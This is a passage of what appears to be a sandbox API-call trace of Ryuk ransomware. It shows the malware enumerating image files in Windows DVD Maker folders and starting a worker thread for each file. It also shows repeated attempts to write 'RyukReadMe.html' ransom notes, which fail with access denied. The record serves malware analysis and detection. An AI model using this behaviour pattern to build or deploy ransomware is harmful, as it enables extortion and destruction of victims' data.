	[0225.777] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8
	[0225.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.779] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec
	[0225.781] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.782] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1
	[0225.782] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0
	[0225.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.784] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0
	[0225.784] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0225.784] SetLastError (dwErrCode=0x0) 
	[0225.784] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.785] GetLastError () returned 0x5
	[0225.785] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0225.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.785] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1
	[0225.785] SetLastError (dwErrCode=0x0) 
	[0225.785] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.785] GetLastError () returned 0x5
	[0225.785] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0225.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0225.789] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.790] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0225.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4
	[0225.792] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.792] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0225.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8
	[0225.795] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.795] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x76, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1
	[0225.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc
	[0225.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.956] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x76, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1
	[0225.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00
	[0225.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.963] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x76, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1
	[0225.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04
	[0225.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.969] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08
	[0225.971] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.972] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c
	[0225.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.974] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10
	[0225.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.976] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14
	[0225.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.979] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18
	[0225.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c
	[0225.984] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.985] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0225.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20
	[0225.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.987] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0
	[0225.987] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0225.989] SetLastError (dwErrCode=0x0) 
	[0225.989] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.998] GetLastError () returned 0x5
	[0225.998] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0225.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.999] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc
	[0226.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.002] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0226.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24
	[0226.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.005] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28
	[0226.007] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.008] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1
	[0226.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c
	[0226.010] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.010] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1
	[0226.010] SetLastError (dwErrCode=0x0) 
	[0226.011] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.011] GetLastError () returned 0x5
	[0226.011] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0226.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
